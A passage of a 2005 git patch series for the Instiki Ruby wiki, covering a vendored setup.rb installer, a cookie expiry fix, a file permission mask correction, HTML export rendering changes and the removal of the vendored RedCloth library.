-end - - -# -# Main Installer -# - -module HookUtils - - def run_hook(name) - try_run_hook "#{curr_srcdir()}/#{name}" or - try_run_hook "#{curr_srcdir()}/#{name}.rb" - end - - def try_run_hook(fname) - return false unless File.file?(fname) - begin - instance_eval File.read(fname), fname, 1 - rescue - setup_rb_error "hook #{fname} failed:\n" + $!.message - end - true - end - -end - - -module HookScriptAPI - - def get_config(key) - @config[key] - end - - alias config get_config - - def set_config(key, val) - @config[key] = val - end - - # - # srcdir/objdir (works only in the package directory) - # - - #abstract srcdir_root - #abstract objdir_root - #abstract relpath - - def curr_srcdir - "#{srcdir_root()}/#{relpath()}" - end - - def curr_objdir - "#{objdir_root()}/#{relpath()}" - end - - def srcfile(path) - "#{curr_srcdir()}/#{path}" - end - - def srcexist?(path) - File.exist?(srcfile(path)) - end - - def srcdirectory?(path) - File.dir?(srcfile(path)) - end - - def srcfile?(path) - File.file? srcfile(path) - end - - def srcentries(path = '.') - Dir.open("#{curr_srcdir()}/#{path}") {|d| - return d.to_a - %w(. ..) - } - end - - def srcfiles(path = '.') - srcentries(path).select {|fname| - File.file?(File.join(curr_srcdir(), path, fname)) - } - end - - def srcdirectories(path = '.') - srcentries(path).select {|fname| - File.dir?(File.join(curr_srcdir(), path, fname)) - } - end - -end - - -class ToplevelInstaller - - Version = '3.3.1' - Copyright = 'Copyright (c) 2000-2004 Minero Aoki' - - TASKS = [ - [ 'all', 'do config, setup, then install' ], - [ 'config', 'saves your configurations' ], - [ 'show', 'shows current configuration' ], - [ 'setup', 'compiles ruby extentions and others' ], - [ 'install', 'installs files' ], - [ 'clean', "does `make clean' for each extention" ], - [ 'distclean',"does `make distclean' for each extention" ] - ] - - def ToplevelInstaller.invoke - instance().invoke - end - - @singleton = nil - - def ToplevelInstaller.instance - @singleton ||= new(File.dirname($0)) - @singleton - end - - include MetaConfigAPI - - def initialize(ardir_root) - @config = nil - @options = { 'verbose' => true } - @ardir = File.expand_path(ardir_root) - end - - def inspect - "#<#{self.class} #{__id__()}>" - end - - def invoke - run_metaconfigs - case task = parsearg_global() - when nil, 'all' - @config = load_config('config') - parsearg_config - init_installers - exec_config - exec_setup - exec_install - else - @config = load_config(task) - __send__ "parsearg_#{task}" - init_installers - __send__ "exec_#{task}" - end - end - - def run_metaconfigs - eval_file_ifexist "#{@ardir}/metaconfig" - end - - def load_config(task) - case task - when 'config' - ConfigTable.new - when 'clean', 'distclean' - if File.exist?(ConfigTable.savefile) - then ConfigTable.load - else ConfigTable.new - end - else - ConfigTable.load - end - end - - def init_installers - @installer = Installer.new(@config, @options, @ardir, File.expand_path('.')) - end - - # - # Hook Script API bases - # - - def srcdir_root - @ardir - end - - def objdir_root - '.' - end - - def relpath - '.' - end - - # - # Option Parsing - # - - def parsearg_global - valid_task = /\A(?:#{TASKS.map {|task,desc| task }.join '|'})\z/ - - while arg = ARGV.shift - case arg - when /\A\w+\z/ - setup_rb_error "invalid task: #{arg}" unless valid_task =~ arg - return arg - - when '-q', '--quiet' - @options['verbose'] = false - - when '--verbose' - @options['verbose'] = true - - when '-h', '--help' - print_usage $stdout - exit 0 - - when '-v', '--version' - puts "#{File.basename($0)} version #{Version}" - exit 0 - - when '--copyright' - puts Copyright - exit 0 - - else - setup_rb_error "unknown global option '#{arg}'" - end - end - - nil - end - - - def parsearg_no_options - unless ARGV.empty? - setup_rb_error "#{task}: unknown options: #{ARGV.join ' '}" - end - end - - alias parsearg_show parsearg_no_options - alias parsearg_setup parsearg_no_options - alias parsearg_clean parsearg_no_options - alias parsearg_distclean parsearg_no_options - - def parsearg_config - re = /\A--(#{ConfigTable.map {|i| i.name }.join('|')})(?:=(.*))?\z/ - @options['config-opt'] = [] - - while i = ARGV.shift - if /\A--?\z/ =~ i - @options['config-opt'] = ARGV.dup - break - end - m = re.match(i) or setup_rb_error "config: unknown option #{i}" - name, value = *m.to_a[1,2] - @config[name] = value - end - end - - def parsearg_install - @options['no-harm'] = false - @options['install-prefix'] = '' - while a = ARGV.shift - case a - when /\A--no-harm\z/ - @options['no-harm'] = true - when /\A--prefix=(.*)\z/ - path = $1 - path = File.expand_path(path) unless path[0,1] == '/' - @options['install-prefix'] = path - else - setup_rb_error "install: unknown option #{a}" - end - end - end - - def print_usage(out) - out.puts 'Typical Installation Procedure:' - out.puts " $ ruby #{File.basename $0} config" - out.puts " $ ruby #{File.basename $0} setup" - out.puts " # ruby #{File.basename $0} install (may require root privilege)" - out.puts - out.puts 'Detailed Usage:' - out.puts " ruby #{File.basename $0} " - out.puts " ruby #{File.basename $0} [] []" - - fmt = " %-24s %s\n" - out.puts - out.puts 'Global options:' - out.printf fmt, '-q,--quiet', 'suppress message outputs' - out.printf fmt, ' --verbose', 'output messages verbosely' - out.printf fmt, '-h,--help', 'print this message' - out.printf fmt, '-v,--version', 'print version and quit' - out.printf fmt, ' --copyright', 'print copyright and quit' - out.puts - out.puts 'Tasks:' - TASKS.each do |name, desc| - out.printf fmt, name, desc - end - - fmt = " %-24s %s [%s]\n" - out.puts - out.puts 'Options for CONFIG or ALL:' - ConfigTable.each do |item| - out.printf fmt, item.help_opt, item.description, item.help_default - end - out.printf fmt, '--rbconfig=path', 'rbconfig.rb to load',"running ruby's" - out.puts - out.puts 'Options for INSTALL:' - out.printf fmt, '--no-harm', 'only display what to do if given', 'off' - out.printf fmt, '--prefix=path', 'install path prefix', '$prefix' - out.puts - end - - # - # Task Handlers - # - - def exec_config - @installer.exec_config - @config.save # must be final - end - - def exec_setup - @installer.exec_setup - end - - def exec_install - @installer.exec_install - end - - def exec_show - ConfigTable.each do |i| - printf "%-20s %s\n", i.name, i.value - end - end - - def exec_clean - @installer.exec_clean - end - - def exec_distclean - @installer.exec_distclean - end - -end - - -class ToplevelInstallerMulti < ToplevelInstaller - - include HookUtils - include HookScriptAPI - include FileOperations - - def initialize(ardir) - super - @packages = all_dirs_in("#{@ardir}/packages") - raise 'no package exists' if @packages.empty? - end - - def run_metaconfigs - eval_file_ifexist "#{@ardir}/metaconfig" - @packages.each do |name| - eval_file_ifexist "#{@ardir}/packages/#{name}/metaconfig" - end - end - - def init_installers - @installers = {} - @packages.each do |pack| - @installers[pack] = Installer.new(@config, @options, - "#{@ardir}/packages/#{pack}", - "packages/#{pack}") - end - - with = extract_selection(config('with')) - without = extract_selection(config('without')) - @selected = @installers.keys.select {|name| - (with.empty? or with.include?(name)) \ - and not without.include?(name) - } - end - - def extract_selection(list) - a = list.split(/,/) - a.each do |name| - setup_rb_error "no such package: #{name}" unless @installers.key?(name) - end - a - end - - def print_usage(f) - super - f.puts 'Inluded packages:' - f.puts ' ' + @packages.sort.join(' ') - f.puts - end - - # - # multi-package metaconfig API - # - - attr_reader :packages - - def declare_packages(list) - raise 'package list is empty' if list.empty? - list.each do |name| - raise "directory packages/#{name} does not exist"\ - unless File.dir?("#{@ardir}/packages/#{name}") - end - @packages = list - end - - # - # Task Handlers - # - - def exec_config - run_hook 'pre-config' - each_selected_installers {|inst| inst.exec_config } - run_hook 'post-config' - @config.save # must be final - end - - def exec_setup - run_hook 'pre-setup' - each_selected_installers {|inst| inst.exec_setup } - run_hook 'post-setup' - end - - def exec_install - run_hook 'pre-install' - each_selected_installers {|inst| inst.exec_install } - run_hook 'post-install' - end - - def exec_clean - rm_f ConfigTable.savefile - run_hook 'pre-clean' - each_selected_installers {|inst| inst.exec_clean } - run_hook 'post-clean' - end - - def exec_distclean - rm_f ConfigTable.savefile - run_hook 'pre-distclean' - each_selected_installers {|inst| inst.exec_distclean } - run_hook 'post-distclean' - end - - # - # lib - # - - def each_selected_installers - Dir.mkdir 'packages' unless File.dir?('packages') - @selected.each do |pack| - $stderr.puts "Processing the package `#{pack}' ..." if @options['verbose'] - Dir.mkdir "packages/#{pack}" unless File.dir?("packages/#{pack}") - Dir.chdir "packages/#{pack}" - yield @installers[pack] - Dir.chdir '../..' - end - end - - def verbose? - @options['verbose'] - end - - def no_harm? - @options['no-harm'] - end - -end - - -class Installer - - FILETYPES = %w( bin lib ext share ) - - include HookScriptAPI - include HookUtils - include FileOperations - - def initialize(config, opt, srcroot, objroot) - @config = config - @options = opt - @srcdir = File.expand_path(srcroot) - @objdir = File.expand_path(objroot) - @currdir = '.' - end - - def inspect - "#<#{self.class} #{File.basename(@srcdir)}>" - end - - # - # Hook Script API base methods - # - - def srcdir_root - @srcdir - end - - def objdir_root - @objdir - end - - def relpath - @currdir - end - - # - # configs/options - # - - def no_harm? - @options['no-harm'] - end - - def verbose? - @options['verbose'] - end - - def verbose_off - begin - save, @options['verbose'] = @options['verbose'], false - yield - ensure - @options['verbose'] = save - end - end - - # - # TASK config - # - - def exec_config - exec_task_traverse 'config' - end - - def config_dir_bin(rel) - end - - def config_dir_lib(rel) - end - - def config_dir_ext(rel) - extconf if extdir?(curr_srcdir()) - end - - def extconf - opt = @options['config-opt'].join(' ') - command "#{config('rubyprog')} #{curr_srcdir()}/extconf.rb #{opt}" - end - - def config_dir_share(rel) - end - - # - # TASK setup - # - - def exec_setup - exec_task_traverse 'setup' - end - - def setup_dir_bin(rel) - all_files_in(curr_srcdir()).each do |fname| - adjust_shebang "#{curr_srcdir()}/#{fname}" - end - end - - def adjust_shebang(path) - return if no_harm? - tmpfile = File.basename(path) + '.tmp' - begin - File.open(path, 'rb') {|r| - first = r.gets - return unless File.basename(config('rubypath')) == 'ruby' - return unless File.basename(first.sub(/\A\#!/, '').split[0]) == 'ruby' - $stderr.puts "adjusting shebang: #{File.basename(path)}" if verbose? - File.open(tmpfile, 'wb') {|w| - w.print first.sub(/\A\#!\s*\S+/, '#! ' + config('rubypath')) - w.write r.read - } - move_file tmpfile, File.basename(path) - } - ensure - File.unlink tmpfile if File.exist?(tmpfile) - end - end - - def setup_dir_lib(rel) - end - - def setup_dir_ext(rel) - make if extdir?(curr_srcdir()) - end - - def setup_dir_share(rel) - end - - # - # TASK install - # - - def exec_install - rm_f 'InstalledFiles' - exec_task_traverse 'install' - end - - def install_dir_bin(rel) - install_files collect_filenames_auto(), "#{config('bindir')}/#{rel}", 0755 - end - - def install_dir_lib(rel) - install_files ruby_scripts(), "#{config('rbdir')}/#{rel}", 0644 - return unless rel.empty? - begin - require 'rdoc/rdoc' - ri_site = true - if RDOC_VERSION =~ /^0\./ - require 'rdoc/options' - unless Options::OptionList::OPTION_LIST.assoc('--ri-site') - ri_site = false - end - end rescue nil - if ri_site - r = RDoc::RDoc.new - r.document(%w{--ri-site}) - end - rescue - puts "** Unable to install Ri documentation for RedCloth **" - end - end - - def install_dir_ext(rel) - return unless extdir?(curr_srcdir()) - install_files ruby_extentions('.'), - "#{config('sodir')}/#{File.dirname(rel)}", - 0555 - end - - def install_dir_share(rel) - end - - def install_files(list, dest, mode) - mkdir_p dest, @options['install-prefix'] - list.each do |fname| - install fname, dest, mode, @options['install-prefix'] - end - end - - def ruby_scripts - collect_filenames_auto().select {|n| /\.rb\z/ =~ n } - end - - # picked up many entries from cvs-1.11.1/src/ignore.c - reject_patterns = %w( - core RCSLOG tags TAGS .make.state - .nse_depinfo #* .#* cvslog.* ,* .del-* *.olb - *~ *.old *.bak *.BAK *.orig *.rej _$* *$ - - *.org *.in .* - ) - mapping = { - '.' => '\.', - '$' => '\$', - '#' => '\#', - '*' => '.*' - } - REJECT_PATTERNS = Regexp.new('\A(?:' + - reject_patterns.map {|pat| - pat.gsub(/[\.\$\#\*]/) {|ch| mapping[ch] } - }.join('|') + - ')\z') - - def collect_filenames_auto - mapdir((existfiles() - hookfiles()).reject {|fname| - REJECT_PATTERNS =~ fname - }) - end - - def existfiles - all_files_in(curr_srcdir()) | all_files_in('.') - end - - def hookfiles - %w( pre-%s post-%s pre-%s.rb post-%s.rb ).map {|fmt| - %w( config setup install clean ).map {|t| sprintf(fmt, t) } - }.flatten - end - - def mapdir(filelist) - filelist.map {|fname| - if File.exist?(fname) # objdir - fname - else # srcdir - File.join(curr_srcdir(), fname) - end - } - end - - def ruby_extentions(dir) - Dir.open(dir) {|d| - ents = d.select {|fname| /\.#{::Config::CONFIG['DLEXT']}\z/ =~ fname } - if ents.empty? - setup_rb_error "no ruby extention exists: 'ruby #{$0} setup' first" - end - return ents - } - end - - # - # TASK clean - # - - def exec_clean - exec_task_traverse 'clean' - rm_f ConfigTable.savefile - rm_f 'InstalledFiles' - end - - def clean_dir_bin(rel) - end - - def clean_dir_lib(rel) - end - - def clean_dir_ext(rel) - return unless extdir?(curr_srcdir()) - make 'clean' if File.file?('Makefile') - end - - def clean_dir_share(rel) - end - - # - # TASK distclean - # - - def exec_distclean - exec_task_traverse 'distclean' - rm_f ConfigTable.savefile - rm_f 'InstalledFiles' - end - - def distclean_dir_bin(rel) - end - - def distclean_dir_lib(rel) - end - - def distclean_dir_ext(rel) - return unless extdir?(curr_srcdir()) - make 'distclean' if File.file?('Makefile') - end - - # - # lib - # - - def exec_task_traverse(task) - run_hook "pre-#{task}" - FILETYPES.each do |type| - if config('without-ext') == 'yes' and type == 'ext' - $stderr.puts 'skipping ext/* by user option' if verbose? - next - end - traverse task, type, "#{task}_dir_#{type}" - end - run_hook "post-#{task}" - end - - def traverse(task, rel, mid) - dive_into(rel) { - run_hook "pre-#{task}" - __send__ mid, rel.sub(%r[\A.*?(?:/|\z)], '') - all_dirs_in(curr_srcdir()).each do |d| - traverse task, "#{rel}/#{d}", mid - end - run_hook "post-#{task}" - } - end - - def dive_into(rel) - return unless File.dir?("#{@srcdir}/#{rel}") - - dir = File.basename(rel) - Dir.mkdir dir unless File.dir?(dir) - prevdir = Dir.pwd - Dir.chdir dir - $stderr.puts '---> ' + rel if verbose? - @currdir = rel - yield - Dir.chdir prevdir - $stderr.puts '<--- ' + rel if verbose? - @currdir = File.dirname(rel) - end - -end - - -if $0 == __FILE__ - begin - if multipackage_install? - ToplevelInstallerMulti.invoke - else - ToplevelInstaller.invoke - end - rescue SetupError - raise if $DEBUG - $stderr.puts $!.message - $stderr.puts "Try 'ruby #{$0} --help' for detailed usage." - exit 1 - end -end diff --git a/vendor/RedCloth-3.0.4/tests/hard_breaks.yml b/vendor/RedCloth-3.0.4/tests/hard_breaks.yml deleted file mode 100644 index 0b1fc099..00000000 --- a/vendor/RedCloth-3.0.4/tests/hard_breaks.yml +++ /dev/null @@ -1,26 +0,0 @@ ---- -in: | - |This|is|a|row| - {background:#ddd}. |This|is|grey|row| - |This|is|another|row| -out: |- - - - - - - - - - - - - - - - - - - - -
      Thisisarow
      Thisisgreyrow
      Thisisanotherrow
      From 50b2cbd6935e64d52ddbf17fea0d9340331c5dc8 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 20 Oct 2005 01:18:15 +0000 Subject: [PATCH 394/529] Fix to #255 - Author cookie expiry --- app/controllers/wiki_controller.rb | 2 +- test/functional/wiki_controller_test.rb | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 13d76598..633c2288 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -185,7 +185,7 @@ class WikiController < ApplicationController def save redirect_home if @page_name.nil? - cookies['author'] = @params['author'] + cookies['author'] = { :value => @params['author'], :expires => Time.utc(2030) } begin if @page diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 9d39fa23..e5646da5 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -513,6 +513,7 @@ class WikiControllerTest < Test::Unit::TestCase assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'NewPage' assert_equal ['AuthorOfNewPage'], r.cookies['author'].value + assert_equal Time.utc(2030), r.cookies['author'].expires new_page = @wiki.read_page('wiki1', 'NewPage') assert_equal 'Contents of a new page', new_page.content assert_equal 'AuthorOfNewPage', new_page.author From 44d09c45f828f91b2053922669dbe2f30a0e5f9a Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 20 Oct 2005 01:23:31 +0000 Subject: [PATCH 395/529] Fixed file permissions mask in file_yard --- lib/file_yard.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/file_yard.rb b/lib/file_yard.rb index f9402c17..1654c90e 100644 --- a/lib/file_yard.rb +++ b/lib/file_yard.rb @@ -17,7 +17,7 @@ class FileYard if io.kind_of?(Tempfile) io.close check_upload_size(io.size) - File.chmod(600, file_path(name)) if File.exists? file_path(name) + File.chmod(0600, file_path(name)) if File.exists? file_path(name) FileUtils.mv(io.path, file_path(name)) else content = io.read From d28be2b0ef1adbbadc556b5073dcac0d84967560 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 26 Oct 2005 01:06:41 +0000 Subject: [PATCH 396/529] [Breaks build] Upgraded Rails to 0.14.1 --- instiki.gemspec | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/instiki.gemspec b/instiki.gemspec index c65ac414..a119b097 100755 --- a/instiki.gemspec +++ b/instiki.gemspec @@ -26,7 +26,7 @@ spec = Gem::Specification.new do |s| s.add_dependency('RedCloth', '= 3.0.3') s.add_dependency('rubyzip', '= 0.5.8') - s.add_dependency('rails', '= 0.13.1') + s.add_dependency('rails', '= 0.14.1') s.add_dependency('sqlite3-ruby', '= 1.1.0') s.requirements << 'none' s.require_path = 'lib' From af25237a906b5c45dfed52f7a234e5db40f6aa41 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 27 Oct 2005 05:29:24 +0000 Subject: [PATCH 397/529] Render HTML pages for ExportHTML 'manually' --- app/controllers/wiki_controller.rb | 52 +++++++++++++++++-------- app/models/page.rb | 4 ++ app/models/web.rb | 4 ++ test/functional/wiki_controller_test.rb | 2 - 4 files changed, 44 insertions(+), 18 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 633c2288..c9aa46ec 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -51,11 +51,41 @@ class WikiController < ApplicationController end def export_html + stylesheet = File.read(File.join(RAILS_ROOT, 'public', 'stylesheets', 'instiki.css')) export_pages_as_zip('html') do |page| - @page = page - @renderer = PageRenderer.new(page.revisions.last) - @link_mode = :export - render_to_string('wiki/print', use_layout = (@params['layout'] != 'no')) + + renderer = PageRenderer.new(page.revisions.last) + rendered_page = <<-EOL + + + + #{page.plain_name} in #{@web.name} + + + + + + + #{renderer.display_content_for_export} + + + + EOL + rendered_page end end @@ -256,7 +286,7 @@ class WikiController < ApplicationController def export_page_to_tex(file_path) tex - File.open(file_path, 'w') { |f| f.write(render_to_string('wiki/tex')) } + File.open(file_path, 'w') { |f| f.write(render_to_string(:template => 'wiki/tex', :layout => nil)) } end def export_pages_as_zip(file_type, &block) @@ -285,7 +315,7 @@ class WikiController < ApplicationController def export_web_to_tex(file_path) @tex_content = table_of_contents(@web.page('HomePage').content, render_tex_web) - File.open(file_path, 'w') { |f| f.write(render_to_string('wiki/tex_web')) } + File.open(file_path, 'w') { |f| f.write(render_to_string(:template => 'wiki/tex_web', :layout => nil)) } end def get_page_and_revision @@ -346,16 +376,6 @@ class WikiController < ApplicationController end end - def render_to_string(template_name, with_layout = false) - add_variables_to_assigns - self.assigns['content_for_layout'] = @template.render_file(template_name) - if with_layout - @template.render_file('layouts/default') - else - self.assigns['content_for_layout'] - end - end - def rss_with_content_allowed? @web.password.nil? or @web.published? end diff --git a/app/models/page.rb b/app/models/page.rb index e45b609e..1896ac5f 100644 --- a/app/models/page.rb +++ b/app/models/page.rb @@ -94,6 +94,10 @@ class Page < ActiveRecord::Base locked_at + LOCKING_PERIOD > comparison_time unless locked_at.nil? end + def to_param + name + end + private def continous_revision?(time, author) diff --git a/app/models/web.rb b/app/models/web.rb index c38c8061..a53fc25b 100644 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -79,6 +79,10 @@ class Web < ActiveRecord::Base PageSet.new(self, pages, nil) end + def to_param + address + end + private # Returns an array of all the wiki words in any current revision diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index e5646da5..70654b50 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -116,7 +116,6 @@ class WikiControllerTest < Test::Unit::TestCase assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, r.headers['Content-Disposition'] assert_equal 'PK', r.body[0..1], 'Content is not a zip file' - assert_equal :export, r.template_objects['link_mode'] # Tempfile doesn't know how to open files with binary flag, hence the two-step process Tempfile.open('instiki_export_file') { |f| @tempfile_path = f.path } @@ -145,7 +144,6 @@ class WikiControllerTest < Test::Unit::TestCase assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, r.headers['Content-Disposition'] assert_equal 'PK', r.body[0..1], 'Content is not a zip file' - assert_equal :export, r.template_objects['link_mode'] end def test_export_markup From 9e7306fb0a8fb6ababbcafb936d9c19b4c01c311 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 28 Oct 2005 14:14:31 +0000 Subject: [PATCH 398/529] Outdated TODO deleted --- app/controllers/wiki_controller.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index c9aa46ec..cbb0fb3c 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -5,7 +5,6 @@ require 'zip/zip' class WikiController < ApplicationController - # TODO implement cache sweeping caches_action :show, :published, :authors, :recently_revised, :list cache_sweeper :revision_sweeper From d3b25c8a1987c3b899a0f27d9d4defee1e9fe5d8 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 1 Nov 2005 07:31:44 +0000 Subject: [PATCH 399/529] Added meta robots tag to the default layout; added error handling to published pages --- app/controllers/application.rb | 10 +++++++++- app/controllers/wiki_controller.rb | 13 +++++++------ app/views/layouts/default.rhtml | 3 ++- 3 files changed, 18 insertions(+), 8 deletions(-) diff --git a/app/controllers/application.rb b/app/controllers/application.rb index a4133850..9306b9c3 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -2,7 +2,7 @@ # Likewise will all the methods added be available for all controllers. class ApplicationController < ActionController::Base - before_filter :connect_to_model, :setup_url_generator, :set_content_type_header + before_filter :connect_to_model, :setup_url_generator, :set_content_type_header, :set_robots_metatag after_filter :remember_location, :teardown_url_generator observer :page_observer @@ -152,6 +152,14 @@ class ApplicationController < ActionController::Base end end + def set_robots_metatag + if controller_name == 'wiki' and %w(show published).include? action_name + @robots_metatag_value = 'index,follow' + else + @robots_metatag_value = 'noindex,nofollow' + end + end + def setup_url_generator PageRenderer.setup_url_generator(UrlGenerator.new(self)) end diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index cbb0fb3c..d2bec178 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -195,12 +195,13 @@ class WikiController < ApplicationController end def published - if @web.published? - page = wiki.read_page(@web_name, @page_name || 'HomePage') - @renderer = PageRenderer.new(page.revisions.last) - else - redirect_home - end + render_text("Published version of web '#{@web_name}' is not available", 404) and return if not @web.published? + + page_name = @page_name || 'HomePage' + page = wiki.read_page(@web_name, page_name) + render_text("Page '#{page_name}' not found", 404) and return unless page + + @renderer = PageRenderer.new(page.revisions.last) end def revision diff --git a/app/views/layouts/default.rhtml b/app/views/layouts/default.rhtml index eb1472aa..fb5e550e 100644 --- a/app/views/layouts/default.rhtml +++ b/app/views/layouts/default.rhtml @@ -14,7 +14,8 @@ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - + + - - - HTML - puts RedCloth.new( File.open( file_name ).read ).to_html - puts "" - puts "" -when 'QUICK-REFERENCE' - YAML::add_private_type( "example" ) do |type, val| - esc = val.dup - esc.htmlesc!( :NoQuotes ) - [ :example, esc.gsub( /\n/, '
      ' ), - RedCloth.new( val ).to_html ] - end - - content = YAML::load( File.open( 'REFERENCE' ) ) - - sections = content.collect { |c| c.keys.first } - sections.shift - - puts <<-HTML - - - - - Textile Quick Reference - - - - - - - HTML - - ct = 0 - content.each do |section| - section.each do |header, parags| - puts "" if ct.nonzero? - parags.each do |p| - if p.is_a?( Array ) and p[0] == :example - puts "" + - "" - end - end - end - ct += 1 - end - puts "

      Textile Quick Reference

      Sections: #{ sections.collect { |s| "#{ s.gsub( /\s/, ' ' ) }" }.join( ' | ' ) }
      #{ header }
      #{ p[1] }
      #{ p[2] }
      " - puts "" - puts "" - -when 'REFERENCE' - YAML::add_private_type( "example" ) do |type, val| - esc = val.dup - esc.htmlesc!( :NoQuotes ) - [ esc.gsub( /\n/, '
      ' ), - RedCloth.new( val ).to_html. - gsub( /;(\w)/, '; \1' ). - htmlesc!( :NoQuotes ). - gsub( /\n/, '
      ' ), - RedCloth.new( val ).to_html ] - end - - content = YAML::load( File.open( file_name ) ) - - sections = content.collect { |c| c.keys.first } - sections.shift - - puts <<-HTML - - - - - Textile Reference - - - - - - HTML - - ct = 0 - content.each do |section| - section.each do |header, parags| - if ct.zero? - puts "" - puts "" - else - puts "" - end - parags.each do |p| - if p.is_a? Array - puts "" + - "" + - "" - else - puts "" - end - end - unless ct.zero? - puts "" - end - end - ct += 1 - end - puts "

      #{ header }

      Sections: #{ sections.collect { |s| "#{ s.gsub( /\s/, ' ' ) }" }.join( ' | ' ) }
      #{ ct }.
      #{ header }
      #{ p[0] }

      #{ p[1] }

      #{ p[2] }
      " - puts RedCloth.new( p ).to_html - puts "
      " - puts "" - puts "" -end diff --git a/vendor/RedCloth-3.0.3/install.rb b/vendor/RedCloth-3.0.3/install.rb deleted file mode 100644 index 2313f9e9..00000000 --- a/vendor/RedCloth-3.0.3/install.rb +++ /dev/null @@ -1,1032 +0,0 @@ -#!/usr/local/bin/ruby -# -# This file is automatically generated. DO NOT MODIFY! -# -# install.rb -# -# Copyright (c) 2000-2002 Minero Aoki -# -# This program is free software. -# You can distribute/modify this program under the terms of -# the GNU Lesser General Public License version 2. -# - -### begin compat.rb - -unless Enumerable.instance_methods.include? 'inject' then -module Enumerable - def inject( result ) - each do |i| - result = yield(result, i) - end - result - end -end -end - -def File.read_all( fname ) - File.open(fname, 'rb') {|f| return f.read } -end - -def File.write( fname, str ) - File.open(fname, 'wb') {|f| f.write str } -end - -### end compat.rb -### begin config.rb - -if i = ARGV.index(/\A--rbconfig=/) then - file = $' - ARGV.delete_at(i) - require file -else - require 'rbconfig' -end - - -class ConfigTable - - c = ::Config::CONFIG - - rubypath = c['bindir'] + '/' + c['ruby_install_name'] - - major = c['MAJOR'].to_i - minor = c['MINOR'].to_i - teeny = c['TEENY'].to_i - version = "#{major}.#{minor}" - - # ruby ver. >= 1.4.4? - newpath_p = ((major >= 2) or - ((major == 1) and - ((minor >= 5) or - ((minor == 4) and (teeny >= 4))))) - - re = Regexp.new('\A' + Regexp.quote(c['prefix'])) - subprefix = lambda {|path| - re === path and path.sub(re, '$prefix') - } - - if c['rubylibdir'] then - # 1.6.3 < V - stdruby = subprefix.call(c['rubylibdir']) - siteruby = subprefix.call(c['sitedir']) - versite = subprefix.call(c['sitelibdir']) - sodir = subprefix.call(c['sitearchdir']) - elsif newpath_p then - # 1.4.4 <= V <= 1.6.3 - stdruby = "$prefix/lib/ruby/#{version}" - siteruby = subprefix.call(c['sitedir']) - versite = siteruby + '/' + version - sodir = "$site-ruby/#{c['arch']}" - else - # V < 1.4.4 - stdruby = "$prefix/lib/ruby/#{version}" - siteruby = "$prefix/lib/ruby/#{version}/site_ruby" - versite = siteruby - sodir = "$site-ruby/#{c['arch']}" - end - - DESCRIPTER = [ - [ 'prefix', [ c['prefix'], - 'path', - 'path prefix of target environment' ] ], - [ 'std-ruby', [ stdruby, - 'path', - 'the directory for standard ruby libraries' ] ], - [ 'site-ruby-common', [ siteruby, - 'path', - 'the directory for version-independent non-standard ruby libraries' ] ], - [ 'site-ruby', [ versite, - 'path', - 'the directory for non-standard ruby libraries' ] ], - [ 'bin-dir', [ '$prefix/bin', - 'path', - 'the directory for commands' ] ], - [ 'rb-dir', [ '$site-ruby', - 'path', - 'the directory for ruby scripts' ] ], - [ 'so-dir', [ sodir, - 'path', - 'the directory for ruby extentions' ] ], - [ 'data-dir', [ '$prefix/share', - 'path', - 'the directory for shared data' ] ], - [ 'ruby-path', [ rubypath, - 'path', - 'path to set to #! line' ] ], - [ 'ruby-prog', [ rubypath, - 'name', - 'the ruby program using for installation' ] ], - [ 'make-prog', [ 'make', - 'name', - 'the make program to compile ruby extentions' ] ], - [ 'without-ext', [ 'no', - 'yes/no', - 'does not compile/install ruby extentions' ] ] - ] - - SAVE_FILE = 'config.save' - - def ConfigTable.each_name( &block ) - keys().each( &block ) - end - - def ConfigTable.keys - DESCRIPTER.collect {|k,*dummy| k } - end - - def ConfigTable.each_definition( &block ) - DESCRIPTER.each( &block ) - end - - def ConfigTable.get_entry( name ) - name, ent = DESCRIPTER.assoc(name) - ent - end - - def ConfigTable.get_entry!( name ) - get_entry(name) or raise ArgumentError, "no such config: #{name}" - end - - def ConfigTable.add_entry( name, vals ) - ConfigTable::DESCRIPTER.push [name,vals] - end - - def ConfigTable.remove_entry( name ) - get_entry name or raise ArgumentError, "no such config: #{name}" - DESCRIPTER.delete_if {|n,arr| n == name } - end - - def ConfigTable.config_key?( name ) - get_entry(name) ? true : false - end - - def ConfigTable.bool_config?( name ) - ent = get_entry(name) or return false - ent[1] == 'yes/no' - end - - def ConfigTable.value_config?( name ) - ent = get_entry(name) or return false - ent[1] != 'yes/no' - end - - def ConfigTable.path_config?( name ) - ent = get_entry(name) or return false - ent[1] == 